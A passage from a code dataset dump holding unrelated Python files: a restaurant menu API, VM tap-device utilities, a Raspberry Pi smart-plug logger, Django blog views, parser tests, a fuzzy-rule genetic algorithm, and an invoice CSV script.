category_entry.id\n joint_id = req.headers['JOINT-ID']\n menu_items = s.query(Item).filter(Item.category == category_id).filter(Item.joint_id == joint_id)\n returnArray = []\n for i in menu_items:\n item = {'name':i.name,'price':i.base_price,'description':i.description, 'id': i.id}\n returnArray.append(item)\n res.body=self.to_json(returnArray)\n s.close()\n\nclass GetCategories(BaseResource):\n '''\n get the categories for a joint\n /items/menu/categories\n '''\n @falcon.before(auth.joint)\n def on_get(self,req,res):\n s = Session()\n categories = s.query(ItemCategory).filter(ItemCategory.joint_id == int(req.headers['JOINT-ID'])).all()\n cats = []\n for i in categories:\n category = i.text\n if category in cats:\n print('skipping')\n else:\n cats.append(category)\n res.body = json.dumps(cats)\n s.close()\n\nclass EditQuantity(BaseResource):\n '''\n items/tonight/edit\n '''\n @falcon.before(auth.joint)\n def on_post(self, req, res):\n s = Session()\n now = datetime.datetime.now()\n item_id = int(req.params['item_id'])\n difference = int(req.params['difference']) ###positive if its higher, negative if lower\n try:\n prev = s.query(JointOffer).filter(JointOffer.item_id == item_id).filter(JointOffer.expire_date > now).one()\n prev.quantity = int(prev.quantity) + difference\n s.commit()\n s.close()\n res.body = json.dumps({'quantity updated': req.params['item_id']})\n except:\n res.status = HTTP_409\n\nclass GetQuanForEdit(BaseResource):\n '''\n items/edit/quantity\n '''\n @falcon.before(auth.joint)\n def on_get(self, req, res):\n s = Session()\n now = datetime.datetime.now()\n joint_offer = s.query(JointOffer).filter(JointOffer.item_id == int(req.headers['ITEM-ID'])).filter(JointOffer.expire_date > now).one()\n quantity_return = joint_offer.quantity\n user_offers = s.query(UserOffer).filter(UserOffer.item_id == int(req.headers['ITEM-ID'])).filter(UserOffer.expire_date>now).all()\n for i in user_offers:\n quantity_return = quantity_return - i.quantity\n res.body = json.dumps({'quantity':quantity_return})\n res.status = falcon.HTTP_200\n s.close()\n\nclass CreateOffer(BaseResource):\n '''\n Restaurant adds an item to the db\n /items/tonight/create\n '''\n @falcon.before(auth.joint)\n def on_post(self, req, res):\n required_params = {'item_id', 'quantity'}\n received_params = set()\n for key, val in req.params.iteritems():\n received_params.add(key) if val not in [None, ''] else None\n if required_params.issubset(received_params):\n ###filter the joint offer to see if the offer was already posted\n now = datetime.datetime.now()\n s = Session()\n try:\n prev = s.query(JointOffer).filter(JointOffer.item_id == req.params['item_id']).filter(JointOffer.expire_date > now).one()\n prev.quantity = int(prev.quantity) + int(req.params['quantity'])\n s.commit()\n s.close()\n except:\n print('no previous offers')\n ###check if the session is active\n joint_id = int(req.headers['JOINT-ID'])\n exp_date = now + datetime.timedelta(hours=1.5)\n try:\n joint_in_session = s.query(JointSession).filter(JointSession.joint_id == joint_id).filter(JointSession.session_end > now).one()\n exp_date = joint_in_session.session_end\n except:\n print('not in session')\n raw_offer = {'item_id': int(req.params['item_id']), 'quantity': int(req.params['quantity']), 'expire_date': exp_date,'user_id': int(req.headers['USER-ID']),'joint_id': joint_id}\n offer = JointOffer(**raw_offer)\n s.add(offer)\n s.commit()\n s.close()\n else:\n res.status = falcon.HTTP_412 ###precondition failure\n\nclass GetTonightItems(BaseResource):\n '''\n shows users and restaurants the items that have not been ordered and have not been bid on\n /items/tonight/all\n '''\n @falcon.before(auth.platform)\n def on_get(self, req, res):\n if req.headers.get('JOINT-ID'):\n now = datetime.datetime.now()\n s = Session()\n discount = 0\n ###check if the joint is in session\n jID = int(req.headers['JOINT-ID'])\n try:\n joint_in_session = s.query(JointSession).filter(JointSession.joint_id == jID).filter(JointSession.session_end > now).one()\n discount = joint_in_session.session_discount\n discount = 1 - float(discount) / 100\n except:\n print('not in session')\n items_avail = [] ###initialize items array to return to user\n joint_offers = s.query(JointOffer).filter(JointOffer.joint_id == jID).filter(JointOffer.expire_date > now).all()\n ###loop through the joint offers and subtract the user offers\n for i in joint_offers:\n quantity_return = i.quantity\n item_id = i.item_id\n user_offers = s.query(UserOffer).filter(UserOffer.item_id == item_id).filter(UserOffer.expire_date > now).all()\n for j in user_offers:\n quantity_user = j.quantity\n quantity_return = quantity_return - quantity_user\n ###if the quantity is greater than 0, return that item to the user\n if quantity_return > 0:\n final_item = s.query(Item).filter(Item.id == item_id).one()\n nm = final_item.name\n bp = final_item.base_price\n p = bp\n if discount != 0:\n p = bp * discount\n desc = final_item.description\n cat = final_item.category\n items_avail.append({'name': nm,'id': item_id,'price': p,'joint_id': jID,'quantity': quantity_return,'description': desc,'category': cat})\n else:\n pass\n res.status = falcon.HTTP_200 ###success\n res.body = json.dumps(items_avail)\n s.close()\n else:\n res.status = falcon.HTTP_412 ###precondition failure\n","sub_path":"api/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"185820093","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nThis file is part of km project.\n\nAuthor: Antti Jaakkola\n\n\"\"\"\n\nimport sys\nimport os\nimport pwd\nimport grp\nimport logging\nimport subprocess\nimport multiprocessing\nfrom random import sample\nfrom string import ascii_uppercase, digits\n\nfrom time import sleep\n\nlogger = logging.getLogger('km')\nlogging.basicConfig()\n\n\ndef pwgen(length=12):\n char_set = ascii_uppercase + digits\n return''.join(sample(char_set*length,length))\n\n\ndef drop_privs(user):\n log = logging.getLogger('km_utils')\n if os.getuid() == 0:\n running_uid = pwd.getpwnam(user).pw_uid\n running_gid = pwd.getpwnam(user).pw_gid\n kvm_group = grp.getgrnam('kvm').gr_gid\n os.setgroups([])\n if kvm_group:\n os.setgroups([kvm_group])\n os.setgid(running_gid)\n os.setuid(running_uid)\n log.info(\"Privileges dropped\")\n\ndef unpriviledged_command(user, command):\n drop_privs(user)\n return subprocess.call(command)\n\ndef unpriviledged_function(user, function, *args, **kwargs):\n log = logging.getLogger('km_utils')\n drop_privs(user)\n return function(*args, **kwargs)\n\n\ndef log_process(comm):\n f = subprocess.Popen(comm, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = f.communicate()\n f.wait()\n if len(stderr) != 0:\n logger.error(\"Command: %s\" % ' '.join([unicode(x) for x in comm]))\n logger.error(\"STDERR:\")\n logger.error(\"%s\" % stderr)\n if len(stdout) != 0:\n logger.info(\"Command: %s\" % ' '.join([unicode(x) for x in comm]))\n logger.info(\"STDOUT:\")\n logger.error(\"%s\" % stdout)\n return f.returncode\n\ndef create_tap(user, name, bridge):\n \"\"\"\n Create tap device using tunctl\n \"\"\"\n if log_process(['/usr/sbin/tunctl', '-u', user, '-t', name]) != 0:\n logger.error(\"Cannot create tap device %s\" % name)\n return False\n if log_process(['/sbin/ip','link','set',name,'up']) != 0:\n logger.error(\"Cannot set tap device %s up\" % name)\n return False\n if log_process(['/usr/sbin/brctl','addif',bridge, name]) != 0:\n logger.error(\"Cannot add tap device %s to bridge %s\" % (name, bridge))\n return False\n return True\n\n\ndef delete_tap(name, bridge):\n \"\"\"\n Remove tap device created by tunctl\n \"\"\"\n if log_process(['/usr/sbin/brctl','delif',bridge, name]) != 0:\n logger.error(\"Cannot remove device %s from bridge %s\" % (name, bridge))\n # This is not fatal, only unusual\n if log_process(['/usr/sbin/tunctl', '-d', name]) != 0:\n logger.error(\"Cannot remove tap device %s\" % name)\n return False\n return True\n\n","sub_path":"km/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"533863605","text":"#!/usr/bin/python\n\nimport re\nimport glob\nfrom time import sleep\nfrom pyHS100 import SmartPlug\nimport RPi.GPIO as GPIO\nfrom datetime import datetime\nfrom pytz import timezone\n\nplug_status_file = open(\"/d1/cabin_plug.txt\", \"r\")\ncabin_plug_status = plug_status_file.read()\nplug_status_file.close()\nplug_log = open(\"/d1/cabin_log.txt\", \"a\")\ngmt = timezone('GMT')\ntime_now = datetime.now(gmt)\nstring_time = time_now.strftime(\"%d/%m/%y %H:%M:%S\")\nbase_dir = '/sys/bus/w1/devices/'\ndevice_folder = glob.glob(base_dir + '28*')[0]\ndevice_file = device_folder + '/w1_slave'\nplug = SmartPlug(\"192.168.1.144\")\n\n#set board numbering to BCM\nGPIO.setmode(GPIO.BCM)\n\n#setup output pins\nGPIO.setup(17,GPIO.OUT)\nGPIO.setup(27,GPIO.OUT)\n\ndef read_temp_raw():\n\tf = open(device_file, 'r')\n\tlines = f.readlines()\n\tf.close()\n\treturn lines\n\ndef read_temp():\n\tlines = read_temp_raw()\n\twhile lines[0].strip()[-3:] != 'YES':\n\t\tsleep(0.2)\n\t\tlines = read_temp_raw()\n\tequals_pos = lines[1].find('t=')\n\tif equals_pos != -1:\n\t\ttemp_string = lines[1][equals_pos+2:]\n\t\ttemp_c = float(temp_string) / 1000.0\n\t\treturn temp_c\n\ntemp = read_temp()\nif cabin_plug_status == \"1\":\n\tplug.turn_off()\n\tplug_status_file = open(\"/d1/cabin_plug.txt\", \"w\")\n\tplug_status_file.write(\"0\")\n\tplug_status_file.close()\n\tGPIO.output(17,GPIO.LOW)\n\tGPIO.output(27,GPIO.LOW)\n\tplug_log.write(string_time+\" Plug turned off after 15 minutes, temperature is: \"+str(temp)+\"\\n\")\n\t\nelse:\n\tplug_log.write(string_time+\" Plug was not on, temperature is: \"+str(temp)+\"\\n\")\n\nplug_log.close()\n","sub_path":"cabin_plug_end.py","file_name":"cabin_plug_end.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"616196395","text":"import numpy as np\nfrom gym_urbandriving.utils import PIDController\nfrom gym_urbandriving.agents import PursuitAgent\nfrom gym_urbandriving.planning import VelocityMPCPlanner,GeometricPlanner\nimport gym_urbandriving as uds\n\nclass VelocitySupervisor(PursuitAgent):\n \"\"\"\n Superivsor agent which implements the planning stack to obtain velocity level supervision of\n which the car should follow. \n\n Attributes\n ----------\n agent_num : int\n Index of this agent in the world.\n Used to access its object in state.dynamic_objects\n\n \"\"\"\n\n def __init__(self, agent_num=0):\n \"\"\"\n Initializes the VelocitySupervisor Class\n\n Parameters\n ----------\n agent_num: int\n The number which specifies the agent in the dictionary state.dynamic_objects['controlled_cars']\n\n \"\"\"\n self.agent_num = agent_num\n #Move to JSON \n self.PID_acc = PIDController(1.0, 0, 0)\n self.PID_steer = PIDController(2.0, 0, 0)\n self.not_initiliazed = True\n \n \n\n \n def eval_policy(self, state,simplified = False):\n \"\"\"\n Returns action based next state in trajectory. \n\n Parameters\n ----------\n state : PositionState\n State of the world, unused\n\n simplified: bool\n specifies whether or not to use a simplified greedy model for look ahead planning\n\n Returns\n --------\n float specifying target velocity\n \"\"\"\n\n if self.not_initiliazed:\n geoplanner = GeometricPlanner(state, inter_point_d=40.0, planning_time=0.1)\n\n geoplanner.plan_for_agents(state,type_of_agent='controlled_cars',agent_num=self.agent_num)\n self.not_initiliazed = False\n \n\n \n target_vel = VelocityMPCPlanner().plan(state, self.agent_num, type_of_agent = \"controlled_cars\")\n\n \n \n\n return target_vel\n\n\n","sub_path":"gym_urbandriving/agents/supervisor/velocity_supervisor.py","file_name":"velocity_supervisor.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"80407582","text":"# -*- coding: latin-1 -*-\n# Copyright (c) 2008 Pycircuit Development Team\n# See LICENSE for details.\n\nimport re\n\nfrom pycircuit.post.cds.psf import *\n## Unit tests for psf module\n \nclass toPSFASCTests(unittest.TestCase):\n def testString(self):\n s=String(value=\"test1234\")\n self.assertEqual(s.toPSFasc(), '\"test1234\"')\n def testFloat64(self):\n v=Float64(value=9.731734322e-31)\n self.assertEqual(v.toPSFasc(), '9.73173e-31')\n def testComplexFloat64(self):\n v=ComplexFloat64(value=complex(0.000291959, -2.81639e-09))\n self.assertEqual(v.toPSFasc(), '(0.000291959 -2.81639e-09)')\n def testProperty(self):\n p=PropertyFloat64(None, name=\"tolerance.relative\", value=1e-3)\n self.assertEqual(p.toPSFasc(prec=9), '\"tolerance.relative\" 0.00100000')\n p=PropertyString(None, name=\"date\", value=\"2:30:26 PM, Thur Sep 27, 2007\")\n self.assertEqual(p.toPSFasc(),'\"date\" \"2:30:26 PM, Thur Sep 27, 2007\"')\n def testHeaderSection(self):\n psfasc = PSFASCSplitter(\"psfasc/dc.dc.asc\")\n expected=psfasc.sections[\"HEADER\"].strip()\n psf = PSFReader(\"psf/dc.dc\")\n psf.open()\n self.assertEqual(psf.header.toPSFasc(), expected)\n\n def testTypesSection(self):\n psfasc = PSFASCSplitter(\"psfasc/dc.dc.asc\")\n expected=psfasc.sections[\"TYPE\"].strip()\n f=open(\"psf/dc.dc\")\n psf = PSFReader(\"psf/dc.dc\")\n psf.open()\n self.assertEqual(psf.types.toPSFasc(), expected)\n\n def testSweepSection(self):\n psfasc = PSFASCSplitter(\"psfasc/dc.dc.asc\")\n expected=psfasc.sections[\"SWEEP\"].strip()\n f=open(\"psf/dc.dc\")\n psf = PSFReader(\"psf/dc.dc\")\n psf.open()\n self.assertEqual(psf.sweeps.toPSFasc(), expected)\n\n def testTraceSection(self):\n psfasc = PSFASCSplitter(\"psfasc/dc.dc.asc\")\n expected=psfasc.sections[\"TRACE\"].strip()\n f=open(\"psf/dc.dc\")\n psf = PSFReader(\"psf/dc.dc\")\n psf.open()\n self.assertEqual(psf.traces.toPSFasc(), expected)\n\n def testValueSection(self):\n psfasc = PSFASCSplitter(\"psfasc/dc.dc.asc\")\n expected=psfasc.sections[\"VALUE\"].strip()\n f=open(\"psf/dc.dc\")\n psf = PSFReader(\"psf/dc.dc\")\n psf.open()\n self.assertEqual(psf.values.toPSFasc(), expected)\n\n\nclass PSFTests(unittest.TestCase):\n def testPSFasc(self):\n psf=PSFReader(\"psf/dc.dc\")\n psf.open()\n \n psfascfile=open(\"psfasc/dc.dc.asc\")\n \n for actual, expected in zip(psf.toPSFasc().split(\"\\n\"), psfascfile.readlines()):\n# print actual, \"==\", expected.strip()\n self.assertEqual(actual, expected.strip())\n \nclass PSFASCSplitter:\n def __init__(self, filename):\n self.sections={}\n f=open(filename)\n buffer=\"\"\n section=None\n for line in f:\n if line.strip() in (\"HEADER\", \"TYPE\", \"SWEEP\", \"TRACE\", \"VALUE\", \"END\"):\n if section:\n self.sections[section] = buffer\n section=line.strip()\n buffer=line\n else:\n buffer+=line\n if section:\n self.sections[section] = buffer\n\ndef psfAscAdjust(str):\n \"\"\"There are minor differences how the psf util handles floats, -0.0000 is\n shown as 0.0000 in Python. This function corrects for that.\n >>> psfAscAdjust(\"-0.00000\")\n '0.00000'\n >>> psfAscAdjust(\"bla bla bla -0.00 0.00 -0.001 1.00000e-05\")\n 'bla bla bla 0.00 0.00 -0.001 1.00000e-05'\n \"\"\"\n str = re.sub(\"-(0\\.0*$)\", '\\\\1', str)\n return re.sub(\"-(0\\.0*\\D)\", '\\\\1', str)\n \n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n\n# unittest.main()\n\n","sub_path":"pycircuit/post/cds/test/psfasctests.py","file_name":"psfasctests.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"218442794","text":"class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n return self.add_val(l1, l2, 0)\n\n def add_val(self, l1: ListNode, l2: ListNode, addnum=0):\n if l1 == None and l2 == None:\n return None\n if l1 == None:\n l1 = ListNode(0)\n if l2 == None:\n l2 = ListNode(0)\n i = l1.val+l2.val+addnum\n totalNode = ListNode(i % 10)\n if not l1.next == None or not l2.next == None:\n totalNode.next = self.add_val(l1.next, l2.next, i//10)\n if i >= 10 and totalNode.next == None:\n totalNode.next = ListNode(i//10)\n return totalNode\n","sub_path":"Python/2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"396855382","text":"import algorithm, util, random, time\nimport fuzzyRule, os, sys\n\n\ndef run(data_set, size, gen_num, times):\n '''\n\n :param data_set: data_set\n :param size: population size\n :param gen_num: generation number for one time\n :param times: total times of generation\n '''\n\n data, NClass, dictL2I, dictI2L = util.readData(\"./data/\" + data_set + '.csv')\n pData = 0.7 # proportion of training data\n N = int(pData * len(data))\n random.shuffle(data)\n trainingData = data[:N]\n testData = data[N:]\n\n accuracy = 0\n\n population = []\n while len(population) < size:\n # use_data = random.randint(1, 15)\n use_data = 20\n init_trainingData_idx = random.sample(range(0, len(trainingData)), use_data)\n init_trainingData = []\n\n for idx in init_trainingData_idx:\n init_trainingData.append(trainingData[idx])\n RS = fuzzyRule.rule_set(init_trainingData)\n if len(RS.rules) > 0:\n RS.getFitness(trainingData)\n population.append(RS)\n\n # for RS in population:\n # print(str(RS.fitness) + ' ' + str(40 - RS.fitness2))\n\n time_start = time.time()\n\n for i in range(times):\n\n # p = [0.9, 0.25, 0.5, 0.9, 0.25]\n p = [0.9, 0.25, 0.5, 0.9, 0.25]\n constant = [1]\n\n print(\"start\")\n pareto_set, population = algorithm.NSGAII(population=population, p=p, gen_num=gen_num, constant=constant,\n size=size, trainingData=trainingData)\n\n time_end = time.time()\n time_cost = time_end - time_start\n\n time_info = \"time cost: \" + str(time_cost) + '\\r' + \"time each gen: \" + str(time_cost / gen_num * (i + 1))\n RS_info = ''\n\n print(time_info)\n print()\n print('Result')\n shown = set()\n for RS in pareto_set:\n if RS.fitness2 in shown:\n pass\n else:\n shown.add(RS.fitness2)\n RS_before = \"Before refit: \" + str(RS.fitness) + ' ' + str(40 - RS.fitness2) + ' ' + str(\n RS.correct_num)\n print(RS_before)\n RS.getFitness(testData)\n\n RS_after = \"After refit: \" + str(RS.fitness) + ' ' + str(40 - RS.fitness2) + ' ' + str(RS.correct_num)\n print(RS_after)\n RS_info += RS_before + '\\r' + RS_after + '\\r\\n'\n\n RS.getFitness(trainingData)\n\n result_print = time_info + '\\r\\nResult\\r\\n' + RS_info\n\n path = './运行结果/' + data_set + '/result data/'\n\n exist_result = [int(x[:-4].split(' ')[0]) for x in os.listdir(path)]\n last_result = max(exist_result) if exist_result else 0\n\n write_as = path + '{0} c {1} g {2} s {3} e {4}.txt'.format(last_result + 1, 1, (i + 1) * gen_num, size, 0)\n with open(write_as, 'w') as f:\n f.write(result_print)\n\n\nif __name__ == '__main__':\n # data_set = \"iris\"\n # data_set = \"a1_va3\"\n # data_set = \"yeast\"\n data_set = sys.argv[1]\n\n\n size = 264\n gen_num = int(sys.argv[2])\n times = int(sys.argv[3])\n\n run(data_set, size, gen_num, times)\n","sub_path":"SingleCoreVer.py","file_name":"SingleCoreVer.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"609373273","text":"from django.shortcuts import redirect, render, get_object_or_404, redirect\nfrom .models import Blog, Comment, HashTag\nfrom django.utils import timezone\nfrom .forms import BlogForm, CommentForm\nfrom django.views.generic import ListView\nfrom django.http import HttpResponse, JsonResponse\nimport json\n# Create your views here.\n\n\ndef home(request):\n blog = Blog.objects.order_by('-pub_date') # query set!\n return render(request, 'home.html', {'blogs': blog})\n\n\ndef all_list(request):\n blog = Blog.objects.order_by('-pub_date') # query set!\n return render(request, 'all_list.html', {'blogs': blog})\n\n\ndef detail(request, blog_id):\n blog_detail = get_object_or_404(Blog, pk=blog_id)\n blog_hashtag = blog_detail.hashtag.all()\n return render(request, 'detail.html', {'blog': blog_detail, 'hashtags': blog_hashtag})\n\n\ndef new(request):\n form = BlogForm()\n return render(request, 'new.html', {'form': form})\n\n\ndef create(request):\n form = BlogForm(request.POST, request.FILES)\n if form.is_valid():\n new_blog = form.save(commit=False)\n new_blog.pub_date = timezone.now()\n new_blog.writer = request.user\n new_blog.save()\n hashtags = request.POST['hashtags']\n hashtag = hashtags.split(\",\")\n if 'image' in request.FILES:\n image = request.FILES['image']\n for tag in hashtag:\n ht = HashTag.objects.get_or_create(hashtag_name=tag)\n new_blog.hashtag.add(ht[0])\n return redirect('detail', new_blog.id)\n return redirect('home')\n\n\ndef edit(request, blog_id):\n blog_detail = get_object_or_404(Blog, pk=blog_id)\n return render(request, 'edit.html', {'blog': blog_detail})\n\n\ndef update(request, blog_id):\n blog_update = get_object_or_404(Blog, pk=blog_id)\n blog_update.title = request.POST['title']\n blog_update.body = request.POST['body']\n if 'image' in request.FILES:\n blog_update.image = request.FILES['image']\n blog_update.save()\n return redirect('detail', blog_id)\n\n\ndef delete(request, blog_id):\n blog_delete = get_object_or_404(Blog, pk=blog_id)\n blog_delete.delete()\n return redirect('home')\n\n\ndef add_comment_to_post(request, blog_id):\n blog = get_object_or_404(Blog, pk=blog_id)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author_name = request.user\n comment.post = blog\n comment.save()\n return redirect('detail', blog_id)\n else:\n form = CommentForm()\n return render(request, 'add_comment_to_post.html', {'form': form})\n\n\ndef delete_comment(request, blog_id, comment_id): # 댓글 삭제하기\n comment_delete = Comment.objects.get(id=comment_id)\n comment_delete.delete()\n return redirect('detail', blog_id)\n\n\ndef edit_comment(request, blog_id, comment_id): # 댓글 수정하기\n comment = Comment.objects.get(id=comment_id)\n return render(request, 'edit_comment.html', {'comment': comment})\n\n\ndef update_comment(request, comment_id):\n comment_update = Comment.objects.get(id=comment_id)\n comment_update.comment_text = request.POST['comment_text']\n comment_update.save()\n return redirect('home')\n\n\ndef cate01(request):\n blogs = Blog.objects.all().filter(category_id=1).order_by('-pub_date')\n return render(request, 'cate01.html', {'blogs': blogs})\n\n\ndef cate02(request):\n blogs = Blog.objects.all().filter(category_id=2).order_by('-pub_date')\n return render(request, 'cate02.html', {'blogs': blogs})\n\n\ndef search(request):\n if request.method == 'POST':\n keyword = request.POST.get('keyword')\n hashtag = HashTag.objects.filter(hashtag_name=keyword)\n blog = Blog.objects.filter(hashtag__in=hashtag).order_by('-pub_date')\n return render(request, 'search.html', {'blogs': blog, 'keyword': keyword})\n elif request.method == 'GET':\n return redirect('/')\n\n\ndef search01(request):\n if request.method == 'POST':\n keyword = request.POST.get('keyword')\n hashtag = HashTag.objects.filter(hashtag_name=keyword)\n blog = Blog.objects.filter(\n hashtag__in=hashtag, category_id=1).order_by('-pub_date')\n return render(request, 'Search01.html', {'blogs': blog, 'keyword': keyword})\n elif request.method == 'GET':\n return redirect('/')\n\n\ndef search02(request):\n if request.method == 'POST':\n keyword = request.POST.get('keyword')\n hashtag = HashTag.objects.filter(hashtag_name=keyword)\n blog = Blog.objects.filter(\n hashtag__in=hashtag, category_id=2).order_by('-pub_date')\n return render(request, 'Search01.html', {'blogs': blog, 'keyword': keyword})\n elif request.method == 'GET':\n return redirect('/')\n\n\ndef mypage(request):\n myblog = Blog.objects.filter(writer=request.user)\n user_info = request.user\n user_like = request.user.likes.all()\n return render(request, 'mypage.html', {'myblogs': myblog, 'user_infos': user_info, 'user_likes': user_like, })\n\n\ndef likes(request):\n if request.is_ajax(): # ajax 방식일 때 아래 코드 실행\n blog_id = request.GET['blog_id'] # 좋아요를 누른 게시물id (blog_id)가지고 오기\n post = Blog.objects.get(id=blog_id)\n\n if not request.user.is_authenticated: # 버튼을 누른 유저가 비로그인 유저일 때\n message = \"로그인 하세요\" # 화면에 띄울 메세지\n context = {'like_count': post.like.count(), \"message\": message}\n return HttpResponse(json.dumps(context), content_type='application/json')\n\n user = request.user # request.user : 현재 로그인한 유저\n if post.like.filter(id=user.id).exists(): # 이미 좋아요를 누른 유저일 때\n post.like.remove(user) # like field에 현재 유저 추가\n message = \"즐겨찾기 취소\" # 화면에 띄울 메세지\n else: # 좋아요를 누르지 않은 유저일 때\n post.like.add(user) # like field에 현재 유저 삭제\n message = \"즐겨찾기 추가\" # 화면에 띄울 메세지\n # post.like.count() : 게시물이 받은 좋아요 수\n context = {'like_count': post.like.count(), \"message\": message}\n return HttpResponse(json.dumps(context), content_type='application/json')\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"76458238","text":"from requests.structures import CaseInsensitiveDict\nfrom requests import Session\nfrom random import randint\nfrom re import findall\nfrom sgwc.config import sogou_session\nfrom sgwc.sogou.get_html import get_html\nimport time\n\n\ndef parse_link(link):\n a = link.find('url=')\n b = randint(1, 100)\n c = link[a + b + 25]\n url = f'https://weixin.sogou.com{link}&k={b}&h={c}'\n\n session = Session()\n session.get('https://weixin.sogou.com/weixin')\n session.headers = CaseInsensitiveDict({\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/66.0.3359.181 Safari/537.36 ',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept': '*/*',\n 'Connection': 'keep-alive',\n 'Referer': 'https://weixin.sogou.com/weixin',\n })\n resp = session.get(url)\n resp.encoding = 'utf-8'\n url_fragments = findall(r'url \\+= \\'(.*?)\\';', resp.text)\n\n # print(sogou_session.cookies)\n # time.sleep(3)\n # sogou_session.get('https://weixin.sogou.com/weixin')\n # sogou_session.headers.update({'Referer': 'https://weixin.sogou.com/weixin'})\n # print(sogou_session.headers)\n # url_fragments = findall(r'url \\+= \\'(.*?)\\';', get_html(url))\n\n return ''.join(url_fragments).replace('@', '')\n","sub_path":"sgwc/sogou/parse_link.py","file_name":"parse_link.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"160325078","text":"# https://leetcode.com/problems/plus-one/\nclass Solution:\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n re = []\n pre = 0\n digits[-1] += 1\n print(digits)\n for c in reversed(digits):\n if c+pre >= 10:\n pre = 1\n re.insert(0, 0)\n else:\n re.insert(0, c+pre)\n pre = 0\n if pre>0:\n re.insert(0,1)\n return re\n\n\nprint(Solution().plusOne([1, 9]))\n","sub_path":"easy/PlusOne.py","file_name":"PlusOne.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"488911143","text":"import os\nfrom pathlib import Path\nfrom decimal import *\nimport csv\ngetcontext().prec = 7\nzip_folder = Path(\"/Users/km/Downloads/\")\n\ndef get_voucher_number(name_stub):\n voucher_number = None\n assigned_voucher_numbers = {\n \"Agrarian Feast\": \"99\",\n \"Alberts Organics\": \"100\",\n \"Baldor Specialty Foods\": \"101\",\n \"Blue Heron\": \"102\",\n \"Blue Moon Acres\": \"103\",\n \"Element Farms\": \"104\",\n \"Eli and Ali\": \"105\",\n \"Flora Nurseries\": \"106\",\n \"Four Seasons Produce\": \"107\",\n \"Fresh Meadow Organic\": \"108\",\n \"Gotham Greens\": \"109\",\n \"Grindstone\": \"110\",\n \"Hepworth Farms\": \"111\",\n \"Hudson Valley Harvest\": \"112\",\n \"Jeddas Produce\": \"113\",\n \"Lancaster Farm Fresh\": \"114\",\n \"Mushrooms NYC\": \"115\",\n \"Myers produce\": \"116\",\n \"Painters\": \"117\",\n \"Perfect Foods\": \"118\",\n \"RL Irwin\": \"119\",\n \"Regional Access\": \"120\",\n \"Rose Valley Farm\": \"121\",\n \"Square Roots\": \"122\",\n \"Sweet Melons\": \"123\",\n \"Wilklow Orchards\": \"125\",\n \"Wessels Farms\": \"124\",\n }\n\n for assigned_supplier in assigned_voucher_numbers.keys():\n if name_stub in assigned_supplier.lower():\n voucher_number = assigned_voucher_numbers[assigned_supplier]\n break\n return str(voucher_number)\n\ndef get_supplier_ID(name_stub):\n ID_number = None\n assigned_ID_numbers = {\n \"Agrarian Feast\": \"V100958\",\n \"Alberts Organics\": \"V100012\",\n \"Baldor Specialty Foods\": \"V100038\",\n \"Blue Heron\": \"V100060\",\n \"Blue Moon Acres\": \"V100671\",\n \"Eli and Ali\": \"V100774\",\n \"Flora Nurseries\": \"V100655\",\n \"Four Seasons Produce\": \"V100171\",\n \"Fresh Meadow Organic\": \"V100749\",\n \"Gotham Greens\": \"V100789\",\n \"Grindstone\": \"V100195\",\n \"Hepworth Farms\": \"V100201\",\n \"Hudson Valley Harvest\": \"V100775\",\n \"Jeddas Produce\": \"V100231\",\n \"Lancaster Farm Fresh\": \"V100245\",\n \"Mushrooms NYC\": \"V101095\",\n \"Myers produce\": \"V100928\",\n \"Painters\": \"V100334\",\n \"Perfect Foods\": \"V100351\",\n \"RL Irwin\": \"V100745\",\n \"Regional Access\": \"V100382\",\n \"Rose Valley Farm\": \"V100814\",\n \"Square Roots\": \"V101030\",\n \"Sweet Melons\": \"V101004\",\n \"Wilklow Orchards\": \"V101074\",\n \"Element Farms\": \"V101103\",\n \"Wessels Farms\": \"V101105\",\n }\n\n for assigned_ID in assigned_ID_numbers.keys():\n if name_stub in assigned_ID.lower():\n ID_number = assigned_ID_numbers[assigned_ID]\n break\n return ID_number\n\nd_inv = {}\nfor (root, dirs, files) in os.walk(zip_folder):\n for filename in files:\n if filename.endswith(\"csv\"):\n \n# Split the filename into parts\n \n filename_parts = filename.split(\"_\")\n supplier = str(filename_parts[0]).replace(\"-\", \" \")\n invoice = filename_parts[1]\n invoice = invoice.upper()\n date = filename_parts[2]\n mth = date[-9:-7]\n day = date[-6:-4]\n yr = date[-12:-10]\n datestr = f'{mth}/{day}/{yr}'\n voucher_number 